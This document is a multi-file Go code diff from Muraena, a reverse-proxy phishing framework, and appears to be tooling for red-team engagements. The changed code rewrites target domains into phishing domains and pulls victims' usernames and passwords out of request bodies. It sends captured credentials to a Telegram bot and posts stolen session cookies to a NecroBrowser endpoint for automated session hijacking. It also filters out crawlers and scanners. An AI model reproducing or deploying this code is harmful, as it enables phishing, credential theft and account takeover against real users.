for include, subMapping := range r.WildcardMapping {
r.SetBackwardWildcardReplacements([]string{})
for include, subMapping := range r.GetWildcardMapping() {
from := include
to := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
rep := []string{from, to}
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
r.SetBackwardWildcardReplacements(append(r.BackwardWildcardReplacements, rep...))
count++
log.Verbose("[Wild Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
}
// These should be done as Final replacements
r.LastBackwardReplacements = []string{}
r.SetLastBackwardReplacements([]string{})
// Custom HTTP response replacements
for _, tr := range r.CustomResponseTransformations {
r.LastBackwardReplacements = append(r.LastBackwardReplacements, tr...)
r.SetLastBackwardReplacements(append(r.LastBackwardReplacements, tr...))
log.Verbose("[Custom Replacements] %+v", tr)
}
r.BackwardReplacements = append(r.BackwardReplacements, r.LastBackwardReplacements...)
r.SetLastBackwardReplacements(append(r.BackwardReplacements, r.LastBackwardReplacements...))
}
func (r *Replacer) DomainMapping() (err error) {
baseDom := r.Target
log.Debug("Proxy destination: %s", tui.Bold(tui.Green("*."+baseDom)))
//log.Debug("Proxy destination: %s", tui.Bold(tui.Green("*."+baseDom)))
origins := make(map[string]string)
r.WildcardMapping = make(map[string]string)
@ -428,18 +599,18 @@ func (r *Replacer) DomainMapping() (err error) {
domain = strings.TrimPrefix(domain, "*.")
// Update the wildcard map
prefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
prefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
o := fmt.Sprintf("%s%d", prefix, wildcards)
r.WildcardDomain = o
r.WildcardMapping[domain] = o
log.Debug(fmt.Sprintf("*.%s=%s", domain, o))
r.SetWildcardDomain(o)
r.SetWildcardMapping(domain, o)
//log.Debug(fmt.Sprintf("*.%s=%s", domain, o))
} else {
count++
// Extra domains or nested subdomains
o := fmt.Sprintf("%s%d", r.ExternalOriginPrefix, count)
origins[domain] = o
log.Debug(fmt.Sprintf("%s=%s", domain, o))
//log.Debug(fmt.Sprintf("%s=%s", domain, o))
}
}
@ -449,7 +620,6 @@ func (r *Replacer) DomainMapping() (err error) {
}
r.SetOrigins(origins)
log.Debug("Processed %d domains to transform, %d are wildcards", count, wildcards)
//log.Verbose("Processed %d domains to transform, %d are wildcards", count, wildcards)
return
}

View file

@ -65,7 +65,7 @@ func parseQuery(m Values, query string) (err error) {
return err
}
// Encode encodes the values into ``URL encoded'' form
// Encode encodes the values into "URL encoded" form
// ("bar=baz&foo=quux") NOT sorted by key.
func (v Values) Encode() string {
if v == nil {

View file

@ -6,8 +6,7 @@ import (
"strings"
"time"
"github.com/muraenateam/muraena/log"
"github.com/evilsocket/islazy/tui"
"gopkg.in/resty.v1"
"github.com/muraenateam/muraena/core/db"
@ -38,7 +37,7 @@ type Necrobrowser struct {
Endpoint string
Profile string
Request string
RequestTemplate string
}
// Cookies
@ -104,19 +103,21 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
return
}
m.Request = string(bytes)
m.RequestTemplate = string(bytes)
// spawn a go routine that checks all the victims cookie jars every N seconds
// to see if we have any sessions ready to be instrumented
if s.Config.NecroBrowser.Enabled {
m.Info("enabled")
go m.CheckSessions()
m.Info("trigger delay every %d seconds", s.Config.NecroBrowser.Trigger.Delay)
}
return
}
func (module *Necrobrowser) CheckSessions() {
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
@ -125,12 +126,11 @@ func (module *Necrobrowser) CheckSessions() {
case "cookies":
module.CheckSessionCookies()
case "path":
// TODO
log.Warning("currently unsupported. TODO implement path")
default:
log.Warning("unsupported trigger type: %s", triggerType)
module.Debug("use authSessionResponse as trigger")
}
module.Verbose("sleeping for %d seconds", triggerDelay)
time.Sleep(time.Duration(triggerDelay) * time.Second)
}
}
@ -143,8 +143,6 @@ func (module *Necrobrowser) CheckSessionCookies() {
module.Debug("error fetching all victims: %s", err)
}
// module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
for _, v := range victims {
cookiesFound := 0
cookiesNeeded := len(triggerValues)
@ -177,6 +175,7 @@ func (module *Necrobrowser) CheckSessionCookies() {
module.Debug("error marshalling %s", err)
}
module.Info("instrumenting %s using %d cookies", tui.Bold(tui.Red(v.ID)), tui.Bold(tui.Red(string(rune(cookiesFound)))))
module.Instrument(v.ID, v.Cookies, string(j))
// prevent the session to be instrumented twice
@ -195,13 +194,10 @@ func Contains(slice *[]string, find string) bool {
}
func (module *Necrobrowser) Instrument(victimID string, cookieJar []db.VictimCookie, credentialsJSON string) {
var necroCookies []SessionCookie
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
for _, c := range cookieJar {
module.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
t, err := time.Parse(timeLayout, c.Expires)
if err != nil {
module.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
@ -228,23 +224,23 @@ func (module *Necrobrowser) Instrument(victimID string, cookieJar []db.VictimCoo
return
}
cookiesJSON := string(c)
module.Request = strings.ReplaceAll(module.Request, TrackerPlaceholder, victimID)
module.Request = strings.ReplaceAll(module.Request, CookiePlaceholder, cookiesJSON)
module.Request = strings.ReplaceAll(module.Request, CredentialsPlaceholder, credentialsJSON)
module.Debug(" Sending to NecroBrowser cookies:\n%v", cookiesJSON)
newRequest := module.RequestTemplate
newRequest = strings.ReplaceAll(newRequest, TrackerPlaceholder, victimID)
newRequest = strings.ReplaceAll(newRequest, CookiePlaceholder, string(c))
newRequest = strings.ReplaceAll(newRequest, CredentialsPlaceholder, credentialsJSON)
module.Info("instrumenting %s", tui.Bold(tui.Red(victimID)))
client := resty.New()
resp, err := client.R().
SetHeader("Content-Type", "application/json").
SetBody(module.Request).
SetBody(newRequest).
Post(module.Endpoint)
if err != nil {
module.Warning("Error sending request to NecroBrowser: %s", err)
return
}
module.Info("NecroBrowser Response: %+v", resp)
module.Info("instrumenting-response %s:\n%v", tui.Bold(tui.Red(victimID)), tui.Bold(tui.Green(resp.String())))
return
}

View file

@ -8,6 +8,7 @@ import (
"net/http"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/session"
)
@ -116,11 +117,8 @@ func (module *Telegram) Send(message string) {
}
func (module *Telegram) sendToChat(chat, message string) (err error) {
var response *http.Response
//module.Debug(`curl https://api.telegram.org/bot%s/sendMessage -H "Content-Type: application/json" -v -d '{"chat_id":"%s","text":"%s"}'`, module.BotToken, chat, message)
// Send the message
url := fmt.Sprintf("%s/sendMessage", module.getUrl())
body, _ := json.Marshal(map[string]string{
@ -136,15 +134,16 @@ func (module *Telegram) sendToChat(chat, message string) (err error) {
return err
}
// Close the request at the end
defer response.Body.Close()
// Body
body, err = ioutil.ReadAll(response.Body)
if err != nil {
return
}
module.Debug("%s", string(body))
if response.StatusCode != 200 {
return fmt.Errorf("telegram error: [%s] %s", response.Status, body)
}
module.Verbose("%s", body)
return
}

View file

@ -39,7 +39,7 @@ const (
const (
blockExtension = "JS,CSS,MAP,WOFF,SVG,SVC,JSON,GIF,ICO"
blockMedia = "image/*,audio/*,video/*,font/*,application/*"
blockMedia = "image/*,audio/*,video/*,font/*"
)
var DisabledExtensions = strings.Split(strings.ToLower(blockExtension), ",")
@ -55,6 +55,7 @@ type Tracker struct {
Header string
Landing string
ValidatorRegex *regexp.Regexp
TrackerLength int
}
// Trace object structure
@ -159,6 +160,9 @@ func Load(s *session.Session) (m *Tracker, err error) {
}
}
// get the tracker length
m.TrackerLength = len(m.makeID())
m.Important("loaded successfully")
return
}
@ -246,7 +250,7 @@ func (module *Tracker) makeID() string {
return str.Generate(1)
}
// TrackRequest tracks an HTTP Request
// TrackRequest tracks an HTTP RequestTemplate
func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
t = module.makeTrace("")
@ -364,12 +368,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
}
module.PushVictim(v)
module.Info("New victim [%s] IP[%s] UA[%s]", tui.Bold(tui.Red(t.ID)), IPSource, request.UserAgent())
module.Info("[%s] %s://%s%s", request.Method, request.URL.Scheme, request.Host, request.URL.Path)
module.Info("[+] victim: %s \n\t%s\n\t%s", tui.Bold(tui.Red(t.ID)), tui.Yellow(IPSource), tui.Yellow(request.UserAgent()))
//module.Debug("[%s] %s://%s%s", request.Method, request.URL.Scheme, request.Host, request.URL.Path)
}
v.RequestCount++
if module.Type == "path" && isTrackedPath {
request.URL.Path = module.Session.Config.Tracking.RedirectTo
}
@ -446,18 +449,23 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
// Investigate body only if the current URL.Path is related to credentials/keys to intercept
// given UrlsOfInterest.Credentials URLs, intercept username/password using patterns defined in the configuration
for _, c := range t.Session.Config.Tracking.Urls.Credentials {
if request.URL.Path == c {
t.Verbose("[%s] there might be credentials here.")
// If the URL is a wildcard, then we need to check if the request URL matches the wildcard
matched := false
if strings.HasPrefix(c, "^") && strings.HasSuffix(c, "$") {
matched, _ = regexp.MatchString(c, request.URL.Path)
} else {
matched = request.URL.Path == c
}
if matched {
//t.Verbose("[%s] there might be credentials here.")
for _, p := range t.Session.Config.Tracking.Patterns {
// Case *sensitive* matching
if strings.Contains(body, p.Matching) {
// Extract it
value := InnerSubstring(body, p.Start, p.End)
if value != "" {
mediaType := strings.ToLower(request.Header.Get("Content-Type"))
if strings.Contains(mediaType, "urlencoded") {
value, err = url.QueryUnescape(value)
@ -476,18 +484,23 @@ func (t *Trace) ExtractCredentials(body string, request *http.Request) (found bo
if err != nil {
return false, err
}
t.Info("[%s] New credentials! [%s:%s]", t.ID, creds.Key, creds.Value)
found = true
tel := telegram.Self(t.Session)
if tel != nil {
message := fmt.Sprintf("[%s] New credentials! [%s]", t.ID, creds.Key)
message := fmt.Sprintf("[%s] [+] credentials: %s", t.ID, tui.Bold(creds.Key))
t.Info("%s=%s", message, tui.Bold(tui.Red(creds.Value)))
if tel := telegram.Self(t.Session); tel != nil {
tel.Send(message)
}
}
}
}
if found {
break
}
}
}
if found {

View file

@ -41,11 +41,11 @@ func (module *Tracker) ShowCredentials() {
victims, err := db.GetAllVictims()
if err != nil {
module.Debug("error fetching all victims: %s", err)
module.Error("error fetching all victims: %s", err)
return
}
module.Debug("There are %d victims", len(victims))
module.Verbose("There are %d victims", len(victims))
for _, vID := range victims {
for _, c := range vID.Credentials {
rows = append(rows, []string{tui.Bold(tui.Green(vID.ID)), c.Key, c.Value, c.Time})
@ -141,6 +141,5 @@ func (module *Tracker) PushCookie(victim *db.Victim, cookie db.VictimCookie) {
return
}
module.Debug("[%s] New cookie: %s on %s",
victim.ID, tui.Bold(cookie.Name), tui.Bold(cookie.Domain))
module.Debug("[%s][+] cookie: %s (%s)", victim.ID, tui.Bold(tui.Green(cookie.Name)), tui.Bold(tui.Green(cookie.Domain)))
}

View file

@ -318,12 +318,13 @@ func (b *Blacklist) Concatenate(items []*Rule) {
}
// ParseRules parses a raw blacklist (text) and returns a Blacklist struct.
// Match All [*] (Useful for creating a whitelist)
// Match IP [e.g. 203.0.113.6 or 2001:db8::68]
// Match IP Network [e.g.: 192.0.2.0/24 or ::1/128]
// Match Hostname [e.g. crawl-66-249-66-1.googlebot.com]
// Match Hostname RegExp [e.g.: ~ .*\.cox\.net]
// Match Geofence [e.g.: @ 39.377297 -74.451082 (7km)] or [ @ Country:IT ] or [ @ City:Rome ]
//
// Match All [*] (Useful for creating a whitelist)
// Match IP [e.g. 203.0.113.6 or 2001:db8::68]
// Match IP Network [e.g.: 192.0.2.0/24 or ::1/128]
// Match Hostname [e.g. crawl-66-249-66-1.googlebot.com]
// Match Hostname RegExp [e.g.: ~ .*\.cox\.net]
// Match Geofence [e.g.: @ 39.377297 -74.451082 (7km)] or [ @ Country:IT ] or [ @ City:Rome ]
func ParseRules(rules string) Blacklist {
lines := strings.Split(rules, "\n")
blacklist := Blacklist{List: []*Rule{}}
@ -494,7 +495,7 @@ func ParseRules(rules string) Blacklist {
}
// Allow decides whether the Blacklist permits the selected IP address.
//func (module *Watchdog) Allow(ip net.IP) bool {
// func (module *Watchdog) Allow(ip net.IP) bool {
func (module *Watchdog) Allow(r *http.Request) bool {
ip := GetRealAddr(r)

View file

@ -67,6 +67,7 @@ func (m *SessionModule) Raw(format string, args ...interface{}) {
log.Raw(m.tag+format, args...)
}
func (m *SessionModule) Fatal(format string, args ...interface{}) {
log.Fatal(m.tag+format, args...)
}
// NO Fatal() here, we want to keep the session alive
//func (m *SessionModule) Fatal(format string, args ...interface{}) {
// log.Fatal(m.tag+format, args...)
//}

View file

@ -64,7 +64,8 @@ func New() (*Session, error) {
// Load Redis
if err = s.InitRedis(); err != nil {
log.Fatal("%s", err)
log.Error("%s", err)
return nil, err
}
log.Info("Connected to Redis")